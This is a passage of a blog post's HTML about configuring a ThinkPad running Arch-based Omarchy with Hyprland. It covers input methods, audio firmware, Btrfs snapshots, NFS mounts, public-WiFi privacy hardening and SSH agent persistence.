    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And the environment variables for toolkits to find fcitx5. I created <code>~/.config/environment.d/fcitx.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>systemd&rsquo;s <code>environment.d</code> is loaded before graphical sessions, so Brave, Alacritty, VS Code and any GTK/Qt app pick it up automatically. I enable autostart in Hyprland:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>exec-once = fcitx5 -d</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typing <code>~a</code> produces <code>ã</code>, <code>'e</code> produces <code>é</code>, <code>ç</code> works as it should in every app. On a Brazilian Thinkpad keyboard, this is the difference between typing Portuguese naturally or hunting for each character.</p>
<h3>SOF audio<span class="hx:absolute hx:-mt-20" id="sof-audio"></span>
    <a href="#sof-audio" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Realtek ALC3306/ALC287 codec via Sound Open Firmware. Without <code>sof-firmware</code>, the kernel module loads but the DSP never boots and PipeWire silently falls back to <code>auto_null</code>. Result: you think the speaker is on mute, but actually PipeWire has no device at all.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If you need to force SOF instead of legacy HDA:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;options snd-intel-dspcfg dsp_driver=3&#34;</span> <span class="p">|</span> sudo tee /etc/modprobe.d/alsa.conf</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reload without reboot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo modprobe -r snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">sudo modprobe snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">systemctl --user restart wireplumber pipewire pipewire-pulse</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Firmware updates via fwupd<span class="hx:absolute hx:-mt-20" id="firmware-updates-via-fwupd"></span>
    <a href="#firmware-updates-via-fwupd" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/bios-update.jpg" alt="Lenovo firmware update (ME Corp) running on boot"  loading="lazy" /></p>
<p><code>fwupdmgr update</code> works, but with Limine there&rsquo;s a gotcha: fwupd tries to write to <code>/boot/EFI/systemd/</code> or <code>/boot/EFI/arch/</code>, which don&rsquo;t exist. The workaround:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkdir -p /boot/EFI/arch
</span></span><span class="line"><span class="cl">sudo fwupdmgr update -y --no-reboot-check
</span></span><span class="line"><span class="cl">fwupdmgr get-history  <span class="c1"># should show &#34;Success&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>HiDPI / fractional scaling<span class="hx:absolute hx:-mt-20" id="hidpi--fractional-scaling"></span>
    <a href="#hidpi--fractional-scaling" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>14&quot; panel at 1920x1200, Hyprland&rsquo;s free resolution. Omarchy&rsquo;s auto 1.5x felt too chunky. I pinned it at 1.333x:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Effective 1440x900. GTK with <code>GDK_SCALE=1</code> renders 1:1 with Hyprland (no double magnification). VRR mode 2 only in fullscreen, because LCD panels tend to flicker on static content with VRR active.</p>
<p>Brave and Chromium flags to render well at this scale:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>VAAPI makes a real difference on YouTube battery life.</p>
<h2>Tuning Omarchy to be mine<span class="hx:absolute hx:-mt-20" id="tuning-omarchy-to-be-mine"></span>
    <a href="#tuning-omarchy-to-be-mine" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Omarchy comes with good defaults. What I adjust stacks on top of them, without touching <code>~/.local/share/omarchy/</code> (which is clobbered by <code>omarchy-update</code>). All customization lives in <code>~/.config/</code>.</p>
<h3>Infra: Btrfs, snapshots, Snapper<span class="hx:absolute hx:-mt-20" id="infra-btrfs-snapshots-snapper"></span>
    <a href="#infra-btrfs-snapshots-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy already ships with Btrfs and separate subvolumes:</p>
<table>
  <thead>
      <tr>
          <th>Subvolume</th>
          <th>Mount</th>
          <th>In snapshots?</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>@</code></td>
          <td><code>/</code></td>
          <td>yes</td>
      </tr>
      <tr>
          <td><code>@home</code></td>
          <td><code>/home</code></td>
          <td>no</td>
      </tr>
      <tr>
          <td><code>@log</code></td>
          <td><code>/var/log</code></td>
          <td>no</td>
      </tr>
      <tr>
          <td><code>@pkg</code></td>
          <td><code>/var/cache/pacman/pkg</code></td>
          <td>no</td>
      </tr>
  </tbody>
</table>
<p><code>@home</code> separated means <code>~/.cache</code>, <code>~/.config/BraveSoftware</code>, etc. don&rsquo;t bloat root snapshots. Snapshot is for system, not profile.</p>
<p>Swap: 4 GB zram at priority 100 (hit first), plus a 30 GB swapfile at priority 0 (enables hibernation, sized to match RAM).</p>
<p>The snapshot stack: Snapper takes a snapshot before and after every <code>pacman -Syu</code> via snap-pac. <code>limine-snapper-sync</code> writes those snapshots into the Limine menu, so you can boot into a previous snapshot to roll back. If something breaks after an update, you hold a key on boot, pick the pre-update snapshot, boot read-only to verify, and if it&rsquo;s good, run <code>snapper rollback</code>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/btrfs-snapshots-config.png" alt="Btrfs subvolumes separated so root snapshots don’t balloon with user cache"  loading="lazy" /></p>
<p>Omarchy leaves <code>snapper-cleanup.timer</code> and <code>snapper-boot.timer</code> disabled by default. I enabled both and configured retention to fit on a 1 TB SSD without blowing up:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A detail that costs debug time if you forget: Docker and Ollama write gigabytes into <code>/var/lib/docker</code> and <code>/var/lib/ollama</code>. If that falls inside <code>@</code>, snapshots go catastrophic. Each Docker image or Ollama model downloaded triples in size. I created nested subvolumes for both, with <code>chattr +C</code> to disable CoW:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/docker
</span></span><span class="line"><span class="cl">sudo chattr +C /var/lib/docker
</span></span><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/ollama</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This has to be done BEFORE Docker or Ollama writes any data. If they already have data there, you need to migrate.</p>
<h3>NFS to the Synology NAS<span class="hx:absolute hx:-mt-20" id="nfs-to-the-synology-nas"></span>
    <a href="#nfs-to-the-synology-nas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>My Synology exposes three volumes. On the desktop, I mount them the usual way. On the notebook, it has to be more defensive. The notebook moves around, forgets networks, connects to public WiFi. Notebook&rsquo;s fstab:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Critical difference vs the desktop: <code>soft</code> with short timeouts (doesn&rsquo;t hang forever), <code>x-systemd.idle-timeout=10min</code> (auto-unmount when idle), no <code>network-online.target</code> in the require (doesn&rsquo;t slow boot). Practical result: <code>cd /mnt/gigachad</code> at home mounts lazily, away from home it fails fast without locking the shell.</p>
<p>Another important detail: my user on the notebook has UID 1026, which matches the share permissions on the Synology. Linux defaults to creating users at 1000, the Synology enforces identity via UID on the wire. If the UIDs don&rsquo;t match, you can&rsquo;t read the files, or worse, you write as nobody. I ran the <code>usermod</code>/<code>groupmod</code> from a TTY (with the user logged out) to remap the user to 1026/1026 and did <code>chown -R</code> on <code>/home</code>.</p>
<h3>Public WiFi hardening<span class="hx:absolute hx:-mt-20" id="public-wifi-hardening"></span>
    <a href="#public-wifi-hardening" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The notebook will leave the house. In an airport or café, I don&rsquo;t want to announce hostname, don&rsquo;t want a trackable MAC, don&rsquo;t want a service listening on an open port.</p>
<p><code>/etc/NetworkManager/conf.d/00-macrandomize.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Random MAC per scan (passive anti-fingerprinting). Stable cloned MAC per SSID (captive portals don&rsquo;t re-prompt you every time) but different MACs between networks. IPv6 with temporary addresses and interface ID derived from a stable secret, not from the MAC (no EUI-64 leak).</p>
<p><code>/etc/systemd/resolved.conf.d/hardening.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Resolve]
LLMNR=no
MulticastDNS=no</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Kills hostname broadcast on LLMNR and mDNS. I also disable avahi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>UFW firewall:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo ufw default deny incoming
</span></span><span class="line"><span class="cl">sudo ufw default allow outgoing
</span></span><span class="line"><span class="cl">sudo ufw --force enable</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>SSH server is already off by default on Omarchy. Nothing listening. Even if the firewall leaks, there&rsquo;s no surface.</p>
<p>All of it rolls into a single initial setup ritual.</p>
<h3>SSH agent persistence (keyring + keychain)<span class="hx:absolute hx:-mt-20" id="ssh-agent-persistence-keyring--keychain"></span>
    <a href="#ssh-agent-persistence-keyring--keychain" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If you use SSH seriously, you want to type the passphrase once per boot and have <code>ssh</code>, <code>git push</code>, <code>scp</code> stay silent for the rest of the day. On current Arch there&rsquo;s a catch: <code>gnome-keyring</code> 50 dropped its SSH component, and the replacement (<code>gcr-ssh-agent</code>) is a plain in-memory agent with no passphrase persistence. The &ldquo;remember this key&rdquo; checkbox you saw in old guides simply doesn&rsquo;t exist anymore.</p>
<p>The combination that works has three pieces:</p>
<ol>
<li><code>gcr-ssh-agent.socket</code> managed by systemd serves <code>SSH_AUTH_SOCK</code> at <code>$XDG_RUNTIME_DIR/gcr/ssh</code></li>
<li><code>pam_gnome_keyring</code> on SDDM login unlocks the keyring with the login password (used by GUI apps like Brave, not by SSH)</li>
<li><code>keychain</code> (wrapper) keeps an <code>ssh-agent</code> alive across logouts, overrides <code>SSH_AUTH_SOCK</code> to point at that persistent agent, and caches the PID in <code>~/.keychain/&lt;host&gt;-sh</code></li>
</ol>
<p>First, install the keyring:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed gnome-keyring seahorse keychain</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then edit <code>/etc/pam.d/sddm</code> so the login password unlocks the keyring automatically. Add at the top:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-auth      optional    pam_gnome_keyring.so</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And at the end:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-session   optional    pam_gnome_keyring.so    auto_start</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The leading hyphen (<code>-auth</code>, <code>-session</code>) marks it optional, so if the module fails to load, login doesn&rsquo;t break.</p>
<p>Pin <code>SSH_AUTH_SOCK</code> for graphical and TTY sessions via <code>~/.config/environment.d/ssh-agent.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>SSH_AUTH_SOCK=%t/gcr/ssh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
